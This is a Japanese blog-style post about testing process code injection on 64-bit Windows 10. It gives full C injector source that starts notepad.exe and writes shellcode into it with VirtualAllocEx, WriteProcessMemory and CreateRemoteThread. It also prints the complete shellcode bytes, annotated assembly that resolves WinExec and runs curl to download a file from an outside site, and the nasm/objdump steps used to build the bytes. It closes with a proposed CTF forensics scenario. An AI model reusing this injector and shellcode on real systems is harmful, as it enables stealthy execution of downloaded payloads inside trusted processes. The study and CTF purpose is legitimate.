Code Injection for Win10(64bit)

Windows10(64bit)におけるCode Injection検証。
プログラムの動作としては以下となる。
・CreateProcessでnotepad.exeを起動
・OpenProcessで起動したnotepad.exeのプロセスにAttachし、VirtualAllocExでShellcode注入に必要なメモリ領域の確保と先頭アドレスを取得
・確保したメモリ領域にWriteProcessMemoryでShellcodeを注入
・注入したShellcodeの先頭アドレスからプログラムを実行するThreadをCreateRemoteThreadで生成してShellcodeを実行
・コンパイルはVisualStudio2022の「x64 Native Tools Command Prompt for VS 2022」のclコマンドで実施

/* injector.c */
#include <windows.h>
#include <stdio.h>

int main(int argc, char *argv[])
{
 
    int pid;
    int written;
    unsigned long thread_id;

char shellcode[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\xff\x6f\x20\x61\x61\x2e\x7a\x69\x48\xc1\xe8\x08\x50\x48\xb8\x61\x72\x2e\x7a\x69\x70\x20\x2d\x50\x48\xb8\x2e\x63\x6f\x6d\x2f\x65\x69\x63\x50\x48\xb8\x73\x61\x6e\x61\x6c\x79\x73\x74\x50\x48\xb8\x77\x77\x77\x2e\x76\x69\x72\x75\x50\x48\xb8\x20\x68\x74\x74\x70\x3a\x2f\x2f\x50\x48\xb8\x63\x75\x72\x6c\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6";

    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi ;

    CreateProcess(NULL,"C:\\Windows\\System32\\notepad.exe",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
    pid = pi.dwProcessId;

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    void *datamemory = VirtualAllocEx(hProcess, NULL, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProcess, datamemory, shellcode, strlen(shellcode), &written);

    HMODULE kernel32 = GetModuleHandle("kernel32");
    FARPROC loadlibrary = GetProcAddress(kernel32, "LoadLibraryA");
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, datamemory, NULL, 0, &thread_id);
    if (!hThread) {
        /* 32 bit (WOW64) -> 64 bit (Native) won't work */
        char errmsg[512];
        FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 0, errmsg, strlen(errmsg), NULL);
        printf("%hs", errmsg);
        return 1;
    }
    WaitForSingleObject(hThread, INFINITE);

    //CloseHandle(hThread);
    //VirtualFreeEx(hProcess, datamemory, strlen(shellcode), MEM_RELEASE);

    return 0;
}

注入するShellcodeは以下(参考サイト:https://www.exploit-db.com/shellcodes/49819)
このコードはWinExecにより任意のプログラムを実行する。
今回は以下のコマンドを実行するシェルコードとした。
「curl.exe http://www.virusanalyst.com/eicar.zip -o aa.zi」

xor rdi, rdi            ; RDI = 0x0
mul rdi                 ; RAX&RDX =0x0
mov gs:rbx, [rax+0x60]  ; RBX = Address_of_PEB; 削除する
mov rbx, [rbx+0x18]     ; RBX = Address_of_LDR
mov rbx, [rbx+0x20]     ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
mov rbx, [rbx]          ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
mov rbx, [rbx]          ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
mov rbx, [rbx+0x20]     ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx             ; RBX & R8 = &kernel32.dll

; Get kernel32.dll ExportTable Address
mov ebx, [rbx+0x3C]     ; RBX = Offset NewEXEHeader
add rbx, r8             ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
xor rcx, rcx            ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff
shr rcx, 0x8            ; RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]      ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
add rdx, r8             ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable

; Get &AddressTable from Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx+0x1C]    ; RDI = RVA AddressTable
add r10, r8             ; R10 = &AddressTable

; Get &NamePointerTable from Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx+0x20]    ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
add r11, r8             ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)

; Get &OrdinalTable from Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx+0x24]    ; R12 = RVA  OrdinalTable
add r12, r8             ; R12 = &OrdinalTable

jmp short apis

; Get the address of the API from the Kernel32.dll ExportTable
getapiaddr:
pop rbx                 ; save the return address for ret 2 caller after API address is found
pop rcx                 ; Get the string length counter from stack
xor rax, rax            ; Setup Counter for resolving the API Address after finding the name string
mov rdx, rsp            ; RDX = Address of API Name String to match on the Stack 
push rcx                ; push the string length counter to stack
loop:
mov rcx, [rsp]          ; reset the string length counter from the stack
xor rdi,rdi             ; Clear RDI for setting up string name retrieval
mov edi, [r11+rax*4]    ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
add rdi, r8             ; RDI = &NameString    = RVA NameString + &kernel32.dll
mov rsi, rdx            ; RSI = Address of API Name String to match on the Stack  (reset to start of string)
repe cmpsb              ; Compare strings at RDI & RSI
je resolveaddr          ; If match then we found the API string. Now we need to find the Address of the API 
incloop:
inc rax
jmp short loop

; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx                 ; remove string length counter from top of stack
mov ax, [r12+rax*2]     ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
mov eax, [r10+rax*4]    ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
add rax, r8             ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
push rbx                ; place the return address from the api string call back on the top of the stack
ret                     ; return to API caller

apis:                   ; API Names to resolve addresses
; WinExec | String length : 7
xor rcx, rcx
add cl, 0x7                 ; String length for compare string
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec 
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
shr rax, 0x8                ; xEcoll,0xFFFF --> 0x0000,xEcoll
push rax
push rcx                    ; push the string length counter to stack
call getapiaddr             ; Get the address of the API from Kernel32.dll ExportTable
mov r14, rax                ; R14 = Kernel32.WinExec Address

; UINT WinExec(
;   LPCSTR lpCmdLine,    => RCX = "curl.exe",0x0
;   UINT   uCmdShow      => RDX = 0x1 = SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx                     ; RAX & RDX & RCX = 0x0
; calc.exe | String length : 8
push rax                    ; Null terminate string on stack
mov rax, 0x697A2E6161206FFF ; iz.aa o
shr rax, 0x8
push rax
mov rax, 0x2D2070697A2E7261 ;- piz.ra
push rax
mov rax, 0x6369652F6D6F632E ;cie/moc.
push rax
mov rax, 0x7473796C616E6173 ;tsylanas
push rax
mov rax, 0x757269762E777777 ;uriv.www
push rax
mov rax, 0x2F2F3A7074746820 ;//:ptth 
push rax
mov rax, 0x6578652E6C727563 ;exe.lruc
push rax                   ; RSP = "curl.exe",0x0
mov rcx, rsp                ; RCX = "curl.exe",0x0
inc rdx                     ; RDX = 0x1 = SW_SHOWNORMAL
sub rsp, 0x20               ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14                    ; Call WinExec("curl.exe", SW_HIDE)

このアセンブラコードを以下のnasmでシェルコード化する。

nasm -f win64 test.asm -o test.o

for i in $(objdump -D test.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done

アセンブラコードの3行目「mov gs:rbx, [rax+0x60]」はgsがあるとnasmでエラーが出たため、実際は「gs:」を削除してシェルコード化した。元のコードと比較すると、シェルコードの6コードの後に「x65」がないのが判明したため、追加した。

\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\xff\x6f\x20\x61\x61\x2e\x7a\x69\x48\xc1\xe8\x08\x50\x48\xb8\x61\x72\x2e\x7a\x69\x70\x20\x2d\x50\x48\xb8\x2e\x63\x6f\x6d\x2f\x65\x69\x63\x50\x48\xb8\x73\x61\x6e\x61\x6c\x79\x73\x74\x50\x48\xb8\x77\x77\x77\x2e\x76\x69\x72\x75\x50\x48\xb8\x20\x68\x74\x74\x70\x3a\x2f\x2f\x50\x48\xb8\x63\x75\x72\x6c\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6

シェルコードを作成するにあたり、以下のところでとまどった。
・参考にしたサイトのシェルコードはcalc.exeを実行するものであり、コピペするだけでうまくいった。
・次に、calc.exeではなく、curl.exeで任意のサイトを指定してファイルをダウンロードさせたいと考え、シェルコードを書き換えたがうまくいかなかった。
・文字の終端を示すNull文字がうまく入っていないと考え、下記に示すようにコマンドの最後にシフト演算(shr)でNull文字を加えたところ、curlコマンドが実行された。

push rax                    ; Null terminate string on stack
mov rax, 0x697A2E6161206FFF ; iz.aa o
shr rax, 0x8
push rax

もとのサンプルでは直前の「push rax」でスタック上にNullが入っているのでcalc.exeは実行できたと考えていたので、特にNull文字は必要ないと考えていた。今回、なぜNull文字を1バイト追加したことでうまくシェルコードが実行できたかがまだ理解できていない。(calc.exeが実行できていたのに、なぜか?)

このプログラムを用いたCTF問題のストーリーは以下が考えられる。

1.内部から不審な外部のサイトとのhttp通信が発生したことをUTMで検知した。対象のPCのメモリダンプを取得し、外部と通信していたプログラムを答えよ
2.外部と通信していたプログラム(curl.exe)はどのプロセスから起動されたか?
 (答えはnotepad.exe)
3.notepad.exeを調べると正常なプログラムであることが判明した。そのため、他のプログラムがnotepadを利用したCode-injectionを行ったと考える。notepad.exeを利用したプログラム名を答えよ。
4.悪意あるプログラムを補足した。このプログラムを解析し、ダウンロードしようとしたファイル名を答えよ。

コメントをどうぞ